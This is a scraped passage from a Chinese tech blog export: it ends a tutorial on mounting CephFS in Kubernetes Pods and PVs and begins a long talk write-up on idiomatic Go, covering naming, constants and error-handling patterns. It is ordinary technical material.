ceph auth get-or-create client.foo mon 'allow *' mds 'allow r path=/ceph-volume1-test' osd 'allow *' # ceph-fuse -n client.foo -m 10.47.217.91:6789 /mnt -r /ceph-volume1-test ceph-fuse[10565]: starting ceph client2017-05-03 16:07:25.958903 7f1a14fbff00 -1 init, newargv = 0x557e350defc0 newargc=11 ceph-fuse[10565]: starting fuse 查看挂载路径，并尝试创建文件：\n# cd /mnt root@yypdnode:/mnt# ls 1.txt root@yypdnode:/mnt# touch 2.txt touch: cannot touch '2.txt': Permission denied 由于foo用户只拥有对 /ceph-volume1-test的只读权限，因此创建文件失败了！\n四、Kubernetes跨节点挂载CephFS 在K8s中，至少可以通过两种方式挂载CephFS，一种是通过Pod直接挂载；另外一种则是通过pv和pvc挂载。我们分别来看。\n1、Pod直接挂载CephFS //ceph-pod2-with-secret.yaml apiVersion: v1 kind: Pod metadata: name: ceph-pod2-with-secret spec: containers: - name: ceph-ubuntu2 image: ubuntu:14.04 command: [\u0026quot;tail\u0026quot;, \u0026quot;-f\u0026quot;, \u0026quot;/var/log/bootstrap.log\u0026quot;] volumeMounts: - name: ceph-vol2 mountPath: /mnt/cephfs/data readOnly: false volumes: - name: ceph-vol2 cephfs: monitors: - ceph_mon_host:6789 user: admin secretFile: \u0026quot;/etc/ceph/admin.secret\u0026quot; readOnly: false 注意：保证每个节点上都存在/etc/ceph/admin.secret文件。\n查看Pod挂载的内容：\n# docker ps|grep pod bc96431408c7 ubuntu:14.04 \u0026quot;tail -f /var/log/boo\u0026quot; About a minute ago Up About a minute k8s_ceph-ubuntu2.66c44128_ceph-pod2-with-secret_default_3d8a05f8-33c3-11e7-bcd9-6640d35a0e90_fc483b8a bcc65ab82069 gcr.io/google_containers/pause-amd64:3.0 \u0026quot;/pause\u0026quot; About a minute ago Up About a minute k8s_POD.d8dbe16c_ceph-pod2-with-secret_default_3d8a05f8-33c3-11e7-bcd9-6640d35a0e90_02381204 root@yypdnode:~# docker exec bc96431408c7 ls /mnt/cephfs/data 1.txt apps ceph-volume1-test test1.txt 我们再在另外一个node上启动挂载同一个cephfs的Pod，看是否可以跨节点挂载：\n# kubectl get pods NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE default ceph-pod2-with-secret 1/1 Running 0 3m 172.30.192.2 iz2ze39jeyizepdxhwqci6z default ceph-pod2-with-secret-on-master 1/1 Running 0 3s 172.30.0.51 iz25beglnhtz ... ... # kubectl exec ceph-pod2-with-secret-on-master ls /mnt/cephfs/data 1.txt apps ceph-volume1-test test1.txt 可以看到不同节点可以挂载同一CephFS。我们在一个pod中操作一下挂载的cephfs：\n# kubectl exec ceph-pod2-with-secret-on-master -- bash -c \u0026quot;for i in {1..10}; do sleep 1; echo 'pod2-with-secret-on-master: Hello, World'\u0026gt;\u0026gt; /mnt/cephfs/data/foo.txt ; done \u0026quot; root@yypdmaster:~/k8stest/cephfstest/footest# kubectl exec ceph-pod2-with-secret-on-master cat /mnt/cephfs/data/foo.txt pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World 2、通过PV和PVC挂载CephFS 挂载cephfs的pv和pvc在写法方面与上面挂载rbd的类似：\n//ceph-pv.yaml apiVersion: v1 kind: PersistentVolume metadata: name: foo-pv spec: capacity: storage: 512Mi accessModes: - ReadWriteMany cephfs: monitors: - ceph_mon_host:6789 path: / user: admin secretRef: name: ceph-secret readOnly: false persistentVolumeReclaimPolicy: Recycle //ceph-pvc.yaml kind: PersistentVolumeClaim apiVersion: v1 metadata: name: foo-claim spec: accessModes: - ReadWriteMany resources: requests: storage: 512Mi 使用pvc的pod:\n//ceph-pod2.yaml apiVersion: v1 kind: Pod metadata: name: ceph-pod2 spec: containers: - name: ceph-ubuntu2 image: ubuntu:14.04 command: [\u0026quot;tail\u0026quot;, \u0026quot;-f\u0026quot;, \u0026quot;/var/log/bootstrap.log\u0026quot;] volumeMounts: - name: ceph-vol2 mountPath: /mnt/cephfs/data readOnly: false volumes: - name: ceph-vol2 persistentVolumeClaim: claimName: foo-claim 创建pv、pvc：\n# kubectl create -f ceph-pv.yaml persistentvolume \u0026quot;foo-pv\u0026quot; created # kubectl create -f ceph-pvc.yaml persistentvolumeclaim \u0026quot;foo-claim\u0026quot; created # kubectl get pvc NAME STATUS VOLUME CAPACITY ACCESSMODES AGE foo-claim Bound foo-pv 512Mi RWX 4s # kubectl get pv NAME CAPACITY ACCESSMODES RECLAIMPOLICY STATUS CLAIM REASON AGE foo-pv 512Mi RWX Recycle Bound default/foo-claim 24s 启动pod，通过exec命令查看挂载情况：\n# docker ps|grep pod a6895ec0274f ubuntu:14.04 \u0026quot;tail -f /var/log/boo\u0026quot; About a minute ago Up About a minute k8s_ceph-ubuntu2.66c44128_ceph-pod2_default_4e4fc8d4-33c6-11e7-bcd9-6640d35a0e90_1b37ed76 52b6811a6584 gcr.io/google_containers/pause-amd64:3.0 \u0026quot;/pause\u0026quot; About a minute ago Up About a minute k8s_POD.d8dbe16c_ceph-pod2_default_4e4fc8d4-33c6-11e7-bcd9-6640d35a0e90_27e5f988 55b96edbf4bf ubuntu:14.04 \u0026quot;tail -f /var/log/boo\u0026quot; 14 minutes ago Up 14 minutes k8s_ceph-ubuntu2.66c44128_ceph-pod2-with-secret_default_9d383b0c-33c4-11e7-bcd9-6640d35a0e90_1656e5e0 f8b699bc0459 gcr.io/google_containers/pause-amd64:3.0 \u0026quot;/pause\u0026quot; 14 minutes ago Up 14 minutes k8s_POD.d8dbe16c_ceph-pod2-with-secret_default_9d383b0c-33c4-11e7-bcd9-6640d35a0e90_effdfae7 root@yypdnode:~# docker exec a6895ec0274f ls /mnt/cephfs/data 1.txt apps ceph-volume1-test foo.txt test1.txt # docker exec a6895ec0274f cat /mnt/cephfs/data/foo.txt pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World pod2-with-secret-on-master: Hello, World 五、pv的状态 如果你不删除pvc，一切都安然无事：\n# kubectl get pv NAME CAPACITY ACCESSMODES RECLAIMPOLICY STATUS CLAIM REASON AGE foo-pv 512Mi RWX Recycle Bound default/foo-claim 1h # kubectl get pvc NAME STATUS VOLUME CAPACITY ACCESSMODES AGE foo-claim Bound foo-pv 512Mi RWX 1h 但是如果删除pvc，pv的状态将变成failed：\n删除pvc： # kubectl get pv NAME CAPACITY ACCESSMODES RECLAIMPOLICY STATUS CLAIM REASON AGE foo-pv 512Mi RWX Recycle Failed default/foo-claim 2h # kubectl describe pv/foo-pv Name: foo-pv Labels: \u0026lt;none\u0026gt; Status: Failed Claim: default/foo-claim Reclaim Policy: Recycle Access Modes: RWX Capacity: 512Mi Message: No recycler plugin found for the volume! Source: Type: RBD (a Rados Block Device mount on the host that shares a pod's lifetime) CephMonitors: [xx.xx.xx.xx:6789] RBDImage: foo1 FSType: ext4 RBDPool: rbd RadosUser: admin Keyring: /etc/ceph/keyring SecretRef: \u0026amp;{ceph-secret} ReadOnly: false Events: FirstSeen LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 29s 29s 1 {persistentvolume-controller } Warning VolumeFailedRecycle No recycler plugin found for the volume! 我们在pv中指定的persistentVolumeReclaimPolicy是Recycle，但无论是cephrbd还是cephfs都不没有对应的recycler plugin，导致pv的status变成了failed，只能手工删除重建。\n","permalink":"https://tonybai.com/2017/05/08/mount-cephfs-acrossing-nodes-in-kubernetes-cluster/","summary":"\u003cp\u003e在\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e集群中运行有状态服务或应用总是不那么容易的。比如，之前我在项目中使用了\u003ca href=\"http://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/\"\u003eCephRBD\u003c/a\u003e，虽然\u003ca href=\"http://tonybai.com/2017/02/17/temp-fix-for-pod-unable-mount-cephrbd-volume/\"\u003e遇到过几次问题\u003c/a\u003e，但总体算是运行良好。但最近发现CephRBD无法满足跨节点挂载的需求，我只好另辟蹊径。由于CephFS和CephRBD师出同门，它自然成为了这次我首要考察的目标。这里将跨节点挂载CephFS的考察过程记录一下，一是备忘，二则也可以为其他有相似需求的朋友提供些资料。\u003c/p\u003e\n\u003ch2 id=\"一cephrbd的问题\"\u003e一、CephRBD的问题\u003c/h2\u003e\n\u003cp\u003e这里先提一嘴CephRBD的问题。最近项目中有这样的需求：让集群中的Pod共享外部分布式存储，即多个Pod共同挂载一份存储，实现存储共享，这样可大大简化系统设计和复杂性。之前CephRBD都是挂载到一个Pod中运行的，CephRBD是否支持多Pod同时挂载呢？\u003ca href=\"https://kubernetes.io/docs/concepts/storage/persistent-volumes\"\u003e官方文档\u003c/a\u003e中给出了否定的答案: 基于CephRBD的Persistent Volume仅支持两种accessmode：\u003cbr\u003e\nReadWriteOnce和ReadOnlyMany，不支持ReadWriteMany。这样对于有读写需求的Pod来说，一个CephRBD pv仅能被一个node挂载一次。\u003c/p\u003e","title":"Kubernetes集群跨节点挂载CephFS"},{"content":"本篇文章是我在2017年第三届GopherChina大会上所作talk：”Go coding in go way“的改编和展开版，全文如下。\n一、序 今天我要分享的题目是**“Go coding in go way”，中文含义就是用“Go语言编程思维去写Go代码”**。看到这个题目大家不禁要问：究竟什么是Go语言编程思维呢？关于什么是Go语言变成思维其实并没有官方说法。这里要和大家交流的内容都是基于Go诞生七年多以来我个人对Go的设计者、Go team以及Go主流社区的观点和代码行为的整理、分析和总结。希望通过我的这次“抛砖引玉”，让在座的Gopher们对“Go语言编程思维”有一个初步的认知，并在日常开发工作中遵循Go语言的编程思维，写出idiomatic的Go代码。\n二、编程语言与编程思维 1、大师的观点 在人类自然语言学界有一个很著名的假说：”萨丕尔-沃夫假说“，这个假说的内容是这样的：\n语言影响或决定人类的思维方式(\u0026quot;Language inuences/determines thought\u0026quot; - Sapir-Whorf hypothesis ) 说到这个假说，我们不能不提及在2017年初国内上映了一部口碑不错的美国科幻大片《降临》，这部片子改编自雨果奖获得者华裔科幻小说家Ted姜的《你一生的故事》，片中主线剧情的理论基础就是就是“萨丕尔-沃夫假说”。更夸张的是片中直接将该假说应用到外星人语言上，将其扩展到宇宙范畴^_^。片中的女主作为人类代表与外星人沟通，并学会了外星语言，从此思维大变，拥有了预知未来的“超能力”。由此我们可以看出“选择对一门语言是多么的重要”。\n奇妙的是，在编程语言界，有位大师级人物也有着与”萨丕尔-沃夫假说”异曲同工的观点和认知。他就是首届图灵奖得主、著名计算机科学家Alan J. Perlis(艾伦·佩利)。他从另外一个角度提出了：\n“不能影响到你的编程思维方式的编程语言不值得去学习和使用” A language that doesn't aect the way you think about programming is not worth knowing. 2、现实中的“投影” 从上述大师们的理论和观点，我们似乎看到了语言与思维之间存在着某种联系。那么两者间的这种联系在真实编程世界中的投影又是什么样子的呢？我们来看一个简单的编程问题：\n【问题: 素数筛】 问题描述：素数是一个自然数，它具有两个截然不同的自然数除数：1和它本身。 要找到小于或等于给定整数n的素数。针对这个问题，我们可以采用埃拉托斯特尼素数筛算法。 算法描述：先用最小的素数2去筛，把2的倍数剔除掉；下一个未筛除的数就是素数(这里是3)。再用这个素数3去筛，筛除掉3的倍数... 这样不断重复下去，直到筛完为止。 算法动图\n下面是该素数筛算法的不同编程语言的实现版本。\nC语言版本：\n【sieve.c】 void sieve() { int c, i,j,numbers[LIMIT], primes[PRIMES]; for (i=0;i\u0026lt;LIMIT;i++){ numbers[i]=i+2; /*fill the array with natural numbers*/ } for (i=0;i\u0026lt;LIMIT;i++){ if (numbers[i]!=-1){ for (j=2*numbers[i]-2;j\u0026lt;LIMIT;j+=numbers[i]) numbers[j]=-1; /*sieve the non-primes*/ } } c = j = 0; for (i=0;i\u0026lt;LIMIT\u0026amp;\u0026amp;j\u0026lt;PRIMES;i++) { if (numbers[i]!=-1) { primes[j++] = numbers[i]; /*transfer the primes to their own array*/ c++; } } for (i=0;i\u0026lt;c;i++) printf(\u0026quot;%d\\n\u0026quot;,primes[i]); } Haskell版本：\n【sieve.hs】 sieve [] = [] sieve (x:xs) = x : sieve (filter (\\a -\u0026gt; not $ a `mod` x == 0) xs) n = 100 main = print $ sieve [2..n] Go语言版本：\n【sieve.go】 func generate(ch chan\u0026lt;- int) { for i := 2; ; i++ { ch \u0026lt;- i // Send 'i' to channel 'ch'. } } func filter(src \u0026lt;-chan int, dst chan\u0026lt;- int, prime int) { for i := range src { // Loop over values received from 'src'. if i%prime != 0 { dst \u0026lt;- i // Send 'i' to channel 'dst'. } } } func sieve() { ch := make(chan int) // Create a new channel. go generate(ch) // Start generate() as a subprocess. for { prime := \u0026lt;-ch fmt.Print(prime, \u0026quot;\\n\u0026quot;) ch1 := make(chan int) go filter(ch, ch1, prime) ch = ch1 } } C版本的素数筛程序是一个常规实现。它定义了两个数组：numbers和primes，“筛”的过程在numbers这个数组中进行(纯内存修改)，非素数的数组元素被设置为-1，便于后续提取； Haskell版本采用了函数递归的思路，通过 “filter操作集合”，用谓词(过滤条件）\\a -\u0026gt; not $ a mod x == 0；筛除素数的倍数，将未筛除的数的集合作为参数传递归递给下去； Go版本的素数筛实现采用的是goroutine的并发组合。程序从2开始，依次为每个素数建立一个goroutine，用于作为筛除该素数的倍数。ch指向当前最新输出素数所位于的筛子goroutine的源channel，这段代码来自于Rob Pike的一次关于concurrency的分享slide。 3、思考 通过上述这个现实中的问题我们可以看到：面对同一个问题，来自不同编程语言的程序员给出了思维方式截然不同的解决方法：C的命令式思维、Haskell的函数式思维和Go的并发思维。这一定程度上印证了前面的假说：编程语言影响编程思维。\nGo语言诞生较晚（2007年设计、2009年发布Go1），绝大多数Gopher(包括我在内)第一语言都不是Go，都是“半路出家”从其他语言转过来的，诸如：C、C++、Java、Python等，甚至是Javascript、Haskell、Lisp等。由于Go语言上手容易，在转Go的初期大家很快就掌握了Go的语法。但写着写着，就是发现自己写的代码总是感觉很别扭，并且总是尝试在Go语言中寻找自己上一门语言中熟悉的语法元素；自己的代码风格似乎和Go stdlib、主流Go开源项目的代码在思考角度和使用方式上存在较大差异。而每每看到Go core team member(比如：rob pike)的一些代码却总有一种醍醐灌顶的赶脚。这就是我们经常说的go coding in c way、in java way、in python way等。出现这种情况的主要原因就是大脑中的原有语言的思维方式在“作祟”。\n我们学习和使用一门编程语言，目标就是要用这门语言思维方式去Coding。学习Go，就要用Go的编程思维去写Go代码，而不是用其他语言的思维方式。\n4、编程语言思维的形成 人类语言如何影响人类思维这个课题自然要留给人类语言学家去破解。但编程语言如何影响编程思维，每个程序员都有着自己的理解。作为一个有着十几年编程经验的程序员，我认为可以用下面这幅示意图来解释一门编程语言思维的形成机制：\n决定编程语言思维的根本在于这门编程语言的价值观！什么是价值观？个人认为：一门编程语言的价值观就是这门语言的最初设计者对程序世界的认知。不同编程语言的价值观不尽相同，导致不同编程语言采用不同的语法结构，不同语言的使用者拥有着不同的思维方式，表现出针对特定问题的不同的行为（具现为：代码设计上的差异和代码风格上的不同），就像上面素数筛那样。比如：\nC的价值观摘录： - 相信程序员：提供指针和指针运算，让C程序员天马行空的发挥 - 自己动手，丰衣足食：提供一个很小的标准库，其余的让程序员自造 - 保持语言的短小和简单 - 性能优先 C++价值观摘录： - 支持多范式，不强迫程序员使用某个特定的范式 - 不求完美，但求实用（并且立即可用） 此外，从上述模型图，我们可以看出思维和结构影响语言应用行为，这是语言应用的核心；同时存在一个反馈机制：即语言应用行为会反过来持续影响/优化语言结构。我们常用冰山表示一个事物的表象与内涵。如果说某种语言的惯用法idiomatic tips或者best practice这些具体行为是露出水面上的冰山头部，那么价值观和思维方式就是深藏在水面以下的冰山的基座。\n三、Go语言价值观的形成与Go语言价值观 从上述模型来看，编程语言思维形成的主导因素是这门编程语言的价值观，因此我们首先来看一下Go语言价值观的形成以及Go语言价值观的具体内容。\nGo语言的价值观的形成我觉得至少有三点因素。\n1、语言设计者\u0026amp;Unix文化 Go语言价值观形成是与Go的初期设计者不无关系的，可以说Go最初设计者主导了Go语言价值观的形成！这就好比一个企业的最初创始人缔造企业价值观和文化一样。\n图中是Go的三位最初设计者，从左到右分别是罗伯特·格瑞史莫、罗伯·派克和肯·汤普逊。Go初期的所有features adoption是需要三巨头达成一致才行。三位设计者有一个共同特征，那就是深受Unix文化熏陶。罗伯特·格瑞史莫参与设计了Java的HotSpot虚拟机和Chrome浏览器的JavaScript V8引擎，罗博·派克在大名鼎鼎的bell lab侵淫多年，参与了Plan9操作系统、C编译器以及多种语言编译器的设计和实现，肯·汤普逊更是图灵奖得主、Unix之父。关于Unix设计哲学阐述最好的一本书莫过于埃瑞克.理曼德(Eric S. Raymond)的《UNIX编程艺术》了，该书中列举了很多unix的哲学条目，比如：简单、模块化、正交、组合、pipe、功能短小且聚焦等。三位设计者将Unix设计哲学应用到了Go语言的设计当中，因此你或多或少都能在Go的设计和应用中找到这些哲学的影子。\n2、遗传基因 Go并发模型CSP理论的最初提出者Tony Hoare曾提出过这样一个观点：\nThe task of the programming language designer \u0026quot; is consolidation not innovation \u0026quot;. (Tony Hoare, 1973). 编程语言设计者的任务不是创新，而是巩固。 和其他语言一样，Go也是站在巨人肩膀上的。这种基因继承，不仅仅是语法结构的继承，还有部分价值观的继承和进一步认知改进。当然不可否认的是Go也有自己的微创新，比如： implicit interface implementation、首字母大小写决定visibility等。虽然不受学院派待见，但把Go的这些微创新组合在一起，你会看到Go迸发出了强大的表现力。\n3、面向新的基础设施环境和大规模软件开发的诸多问题 有一种开玩笑的说法：Go诞生于C++程序的漫长compile过程中。如果c++编译很快，那么上面的Go语言三巨头也没有闲暇时间一起喝着咖啡并讨论如何设计一门新语言。\n面对时代变迁、面对新的基础设施环境、多核多处理器平台的出现，很多传统语言表现出了“不适应”，这直接导致在开发大规模软件过程中出现了各种各样的问题，比如：构建缓慢、依赖失控、代码风格各异、难用且复杂无法自动化的工具、跨语言构建难等。Go的设计初衷就是为了面向新环境、面向解决问题的。虽然这些问题不都是能在语言层面解决的，但这些环境和问题影响了设计者对程序世界的认知，也就影响了Go的价值观。\n4、Go语言的价值观 在明确了Go价值观的形成因素后，我认为Go语言的价值观至少包含以下几点：\n- Overall Simplicity 全面的简单 - Orthogonal Composition 正交组合 - Preference in Concurrency 偏好并发 用一句话概括Go的价值观（也便于记忆）：\nGo is about orthogonal composition of simple concepts with preference in concurrency. Go是在偏好并发的环境下的简单概念/事物的正交组合 无论是Go语言设计还是Go语言使用，都受到上述价值观的影响。接下来我们逐个来看一下Go语言价值观主导下的Go语言编程思维，并看看每种编程思维在语言设计、标准库实现以及主流Go开源项目中的应用体现。我将按“价值观” -\u0026gt; “(价值观下的)语言设计” -\u0026gt; “编程思维” -\u0026gt; “编程思维体现”的顺序展开。\n四、Overall Simplicity Go的第一个价值观就是”全面简单”。\n图灵奖获得者迪杰斯特拉说过：”简单和优雅不受欢迎，那是因为人们要想实现它们需要更努力地工作，更多自律以及领会更多的教育。” 而Go的设计者们恰恰在语言设计初期就将复杂性留给了语言自身的设计和实现阶段，留给了Go core team，而将简单留给了gopher们。因此，Simplicity价值观更多地体现在了Go语言设计层面。 这里简单列举一些：\n- 简洁、正规的语法：大大降低Go入门门槛，让来自其他语言的初学者可以轻松使用Go语言； - 仅仅25个keyword：主流编程语言中最简单的，没有之一； - “一种”代码写法、尽可能减少程序员付出; - 垃圾回收GC: 降低程序员在内存管理方面的心智负担； - goroutine：提供最简洁的并发支持； - constants：对传统语言中常量定义和使用方法做进一步简化； - interface：纯方法集合，纯行为定义，隐式实现； - package：Go程序结构层面的唯一组织形式，它将设计、语法、命名、构建、链接和测试都聚于一包中，导入和使用简单。 如今，Go语言的简单已经从自身设计扩展到Go应用的方方面面，但也正是由于在语言层面已经足够简单了，因此在应用层面，“简单”体现的反倒不是很明显，更加顺其自然。接下来，我总结整理几个在“全面简单”价值观下形成的Go编程思维，我们一起看一下。\n1、short naming thought（短命名思维） 在gofmt的帮助下，Go语言一统coding style。在这样的一个情形下，naming成了gopher们为数不多可以“自由发挥”的空间了。但对于naming，Go有着自己的思维：短命名。即在并不影响readablity的前提下，尽可能的用长度短小的标识符，于是我们经常看到用单个字母命名的变量，这与其他一些语言在命名上的建议有不同，比如Java建议遵循“见名知义”的命名原则。\nGo一般在上下文环境中用最短的名字携带足够的信息，我们可以对比一下Java和Go：\njava vs. go \u0026quot;index\u0026quot; vs. \u0026quot;i\u0026quot; \u0026quot;value\u0026quot; vs. \u0026quot;v\u0026quot; 除了短小，Go还要求尽量在一定上下文中保持命名含义的一致性，比如：在一个上下文中，我们声明了两个变量b，如果第一个b表意为buf，那么后续的b也最好是这个含义。\n在命名短小和一致性方面，stdlib和知名开源项目为我们做出表率。我们统计一下Go标准库中标识符使用频率，可以看到大量单字母命名的变量标识符占据top30：\ncat $(find $GOROOT -name '*.go') | indents | sort | uniq -c | sort -nr | sed 30q 60224 v 42444 err 38012 t 33386 x 33302 i 33277 b 27943 p 25121 s 21228 n 20831 r 20634 _ 19236 c 17056 y 12850 f 12834 a ... ... 细致分析了一下stdlib中常见短变量名字所代表的含义（见代码后的注释），stdlib在一致性方面做的还是不错的，当然也有例外。\n[v, k, i] // loop varible for i, v := range s { for k, v := range m { for v := range r { // channel // if、switch/case clause varible if v := mimeTypes[ext]; v != \u0026quot;\u0026quot; { switch v := ptr.Elem(); v.Kind() { case v := \u0026lt;-c: v := reflect.ValueOf(x) // result of reflect.Value() [t] t := time.Now() // time t := \u0026amp;Timer{ // timer if t := md.typemap[off]; t != nil { // type [b] b := make([]byte, n) // bytes slice b := new(bytes.Buffer) // bytes.Buffer 2、minimal thought（最小思维) 码农们是苦逼的，每天坐在电脑前一坐就是10多个小时，自己的“业余”时间已经很少了。Go语言的设计者在这方面做的很“贴心”，考虑到为了让男Gopher能有时间撩妹，女Gopher能有时间傍帅哥，Go语言倡导minimal thought，即尽可能的降低gopher们的投入。这种思维体现在语言设计、语言使用、相关工具使用等多个方面。比如：\n一种代码风格：程序员们再也无需为coding style的个人喜好而争论不休了，节省下来的时间专心做自己喜欢的事情:) “一种”代码写法(或提供最少的写法、更简单的写法)：你会发现，面对一个问题，大多数gopher们给出的go实现方式都类似。这就是Go“一种代码写法”思维的直接体现。Go在语法结构层面没有提供给Gopher很大的灵活性。Go is not a “TMTOWTDI — There’s More Than One Way To Do It”。这点与C++、Ruby有着很大不同。 显式代码（obvious），而不是聪明(clever)代码：Go提倡显而易见、可读性好的代码，而非充满各种技巧或称为“炫技”的所谓“聪明”代码。纵观stdlib、kubernetes等go代码库，都是很obvious(直观)的go code，clever code难觅踪迹。这样一来，别人写的代码，你可以轻松地看懂（为你节省大量时间和精力）。这也是Go代码中clever code比例远远小于其他主流语言的原因，Go不是炫技的舞台。 C++程序员看到这里是不是在“抹眼泪”，这里并非黑C++，C++的复杂和多范式是客观的，C++98标准和C++17标准的差异甚至可以用“两门语言”来形容，用泛型的代码和不用泛型的代码看起来也像是两门完全不同的语言，这种心智负担之沉重可想而知。\n接下来，我们看看minimal thought在语言设计和应用中的体现。\n1) “一种”循环: for Go语言仅仅提供了一种用于“循环逻辑”的关键字：for。在其他语言中的各种用于循环逻辑的关键字，比如while, do-while等，在go中都可以通过for模拟实现。\n- 常规 for i := 0; i \u0026lt; count; i++ {} - \u0026quot;while\u0026quot; for condition { } - \u0026quot;do-while\u0026quot; for { // use \u0026quot;for-break\u0026quot; instead doSomething() if condition { break } } - iterator loop for k, v := range f.Value {} - dead loop for {} 2) “一种”constant 前面说过Go设计者是十分体贴的，这种体贴体现在很多不起眼的细节上，比如对传统语言中constant声明和使用的优化。\nGo语言中constants只是数字，无论是整型还是浮点型都可以直接写成数字，无需显式地赋给类型：\nconst incomingQueueLength = 25 const ( http2minMaxFrameSize = 1 \u0026lt;\u0026lt; 14 http2maxFrameSize = 1\u0026lt;\u0026lt;24 - 1 ) const PI = 3.1415928 const e = 1E6 参与计算的constant无需显式算术转换，而是由编译器自动确定语句中constant的承载类型：\nconst a = 10080 var c int32 = 99 d := c + a fmt.Printf(\u0026quot;%T\\n\u0026quot;, d) //int32 fmt.Printf(\u0026quot;%T\\n\u0026quot;, a) //int 3) “一种”错误处理方法 C++之父Bjarne Stroustrup说过：“世界上有两类编程语言，一类是总被人抱怨诟病的，而另外一类是无人使用的”。Go语言自其出生那天起，就因错误处理机制看起来似乎有些过时、有些简单而被大家所诟病，直至今天这种声音依旧存在。因为Go仅仅提供了一种基于值比较的简单的错误处理方法。但就是这样的错误处理方法也恰恰是Go设计者simplicity价值观的体现。Go设计者认为如果像其他一些主流语言那样，将exception的try-catch-finally的机制与语言的控制结构耦合在一起，将势必大大增加语言的复杂性，这与simplicity的价值观是背道而驰的。简单的基于值比较的error处理方法可以让使用者更重视每一个error并聚焦于错误本身。显式地去处理每一个error，让gopher对代码更有自信。并且在这种机制下，错误值和其他类型的值地位是一样的，错误处理代码也是普通代码，并无特殊之处，无特殊化处理，无需增加语言复杂性。\n这些年来，gopher们也初步探索出了这种错误处理方法的常见处理模式，我们以stdlib中识别出的error handling模式为例：\na) 最常见的\n在外部无需区分返回的错误值的情况下，可以在内部通过fmt.Errorf或errors.New构造一个临时错误码并返回。这种错误处理方式可以cover 80%以上情形：\ncallee: return errors.New(\u0026quot;something error\u0026quot;) or return fmt.Errorf(\u0026quot;something error: %s\u0026quot;, \u0026quot;error reason\u0026quot;) caller: if err != nil {... } b) 导出的Error变量\n当外部需要区分返回的错误值的，比如这里我要进行一个io调用，后续的操作逻辑需要因io调用的返回错误码的不同而异，我们使用导出的error变量：\n// io/io.go var ErrShortWrite = errors.New(\u0026quot;short write\u0026quot;) var ErrShortBuffer = errors.New(\u0026quot;short buffer\u0026quot;) if err := doSomeIO(); err == io.ErrShortWrite { ... } c) 定义新的错误类型实现定制化错误上下文\n上面的导出Error变量中包含的error context信息和信息形成机制太过简单，当我们要定制error context时， 我们可以定义一个新的Error type。之后通过针对error interface value的type assertion or type switch得到真实错误类型并访问error context：\n// encoding/json/decode.go type UnmarshalTypeError struct { Value string // description of JSON value - \u0026quot;bool\u0026quot;, \u0026quot;array\u0026quot;, \u0026quot;number -5\u0026quot; Type reflect.Type // type of Go value it could not be assigned to Offset int64 // error occurred after reading Offset bytes Struct string // name of the struct type containing the field Field string // name of the field holding the Go value } func (e *UnmarshalTypeError) Error() string { ... ... return \u0026quot;json: cannot unmarshal \u0026quot; + e.Value + \u0026quot; into Go value of type \u0026quot; + e.Type.String() } if serr, ok := err.(*UnmarshalTypeError); ok { //use serr to access context in UnmarshalTypeError ... ... } 不过这样的用法并不推荐也并不多见，在stdlib、kubernetes中，虽然都有自定义的exported error type，但是却很少在外部通过type assertion直接访问其内部error context字段，那标准库是怎么判断error差别的呢？\n**d) 包含package中error公共行为特征的Error interface type\n在标准库中，我们可以发现这样一种错误处理方式：将某个包中的Error Type归类，统一提取出一些公共行为特征，并且将这些公共行为特征(behaviour)放入一个公开的interface type中。以stdlib中的net package为例。net package将包内的所有错误类型的公共特征抽象放入”Error”这个error type中。外部使用时，通过这个公共interface获取具体错误的特征：\n//net/net.go type Error interface { error Timeout() bool // Is the error a timeout? Temporary() bool // Is the error temporary? } net/http/server.go中的使用举例： rw, e := l.Accept() if e != nil { if ne, ok := e.(net.Error); ok \u0026amp;\u0026amp; ne.Temporary() { ... .. } ... ... } OpError是net packge中的一个自定义error type , 它实现了Temporary interface, 可以被外部统一用Error的method判断是否是Temporary或timeout error特征：\n//net/net.go type OpError struct { ... ... // Err is the error that occurred during the operation. Err error } type temporary interface { Temporary() bool } func (e *OpError) Temporary() bool { if ne, ok := e.Err.(*os.SyscallError); ok { t, ok := ne.Err.(temporary) return ok \u0026amp;\u0026amp; t.Temporary() } t, ok := e.Err.(temporary) return ok \u0026amp;\u0026amp; t.Temporary() } **e) 通过一些公开的error behaviour function对error behaviour进行判断\n我们在标准库中还能看到一种判断error behavior的方法，那就是通过一些公开的error behaviour function。比如：os包暴露的IsExist等函数：\n//os/error.go func IsExist(err error) bool { return isExist(err) } func IsNotExist(err error) bool { ... } func IsPermission(err error) bool { ... } 例子： f, err := ioutil.TempFile(\u0026quot;\u0026quot;, \u0026quot;_Go_ErrIsExist\u0026quot;) f2, err := os.OpenFile(f.Name(), os.O_RDWR|os.O_CREATE|os.O_EXCL, 0600) if os.IsExist(err) { fmt.Println(\u0026quot;file exist\u0026quot;) return } 顺便在这里提一下Go关于error type和variable的命名方式：\n错误类型: xxxError //net/net.go type OpError struct { ... } type ParseError struct { ... } type timeoutError struct{} 导出的错误变量: ErrXxx //io/io.go var ErrShortWrite = errors.New(\u0026quot;short write\u0026quot;) var ErrNoProgress = errors.New(\u0026quot;multiple Read calls return no data or error\u0026quot;) 很多人抱怨，当前Go提供的error handling方案让gopher可以很容易地写出如下面所示的不优雅代码：\nvar err error err = doSomethingA() if err != nil { return err } err = doSomethingB() if err = nil { return err } err = doSomethingC() if err = nil { return err } ... ... 代码中大量重复着if err!= nil { return err} 这段snippet。但是如果你全面浏览过Go标准库中的代码，你会发现像上面这样的代码并不多见。Rob Pike曾经在《errors are values》一文中针对这个问题做过解释，并给了stdlib中的一些消除重复的方法：那就是将error作为一个内部状态：\n//bufio/bufio.go type Writer struct { err error buf []byte n int wr io.Writer } func (b *Writer) Write(p []byte) (nn int, err error) { if b.err != nil { return nn, b.err } ... 